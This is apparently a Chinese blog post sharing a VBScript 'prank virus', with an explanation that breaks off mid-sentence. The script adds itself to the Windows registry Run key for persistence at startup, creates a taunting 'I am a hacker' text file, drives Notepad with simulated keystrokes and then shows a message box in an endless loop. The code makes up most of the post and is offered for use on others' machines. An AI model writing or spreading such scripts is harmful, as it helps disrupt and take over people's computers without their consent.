vbs整人小病毒2

原创

已于 2022-04-05 11:57:04 修改 · 876 阅读

标签

#windows

收录于

于 2022-04-05 11:25:12 首次发布

海螺，大家好！

这是我第二次发文章，点个赞再走吧！(✪ω✪) Thanks♪(･ω･)ﾉ

（还有关注！）

好！直接上代码：

Dim AutoRunProgram     
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"  
Type_Name = "REG_SZ"   
Key_Name = "game"   
Key_data = "    .vbs" 空白里头填文件路径
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name   
dim fso,testfile
set fso = createobject("scripting.filesystemobject")  
set testfile = fso.createtextfile("       \I am a hacker.txt",true)空白里头填桌面路径
testfile.writeline("HaHa,Can't turn it off?")
testfile.close
on error resume next
on error resume next
dim wsh,ye
set wsh = createobject("wscript.shell")
wsh.run "notepad"
for i=1 to 25
wsh.appactivate("I am a hacker.txt")
wsh.sendkeys "{ENTER}"
wsh.sendkeys "^v"
wsh.sendkeys i
wsh.sendkeys "%s"
next
do
msgbox"Don't needlessly prick.",0,"I am a hacker"
loop

这个代码的原理是先把自启注入注册表中，然后放入一个“l a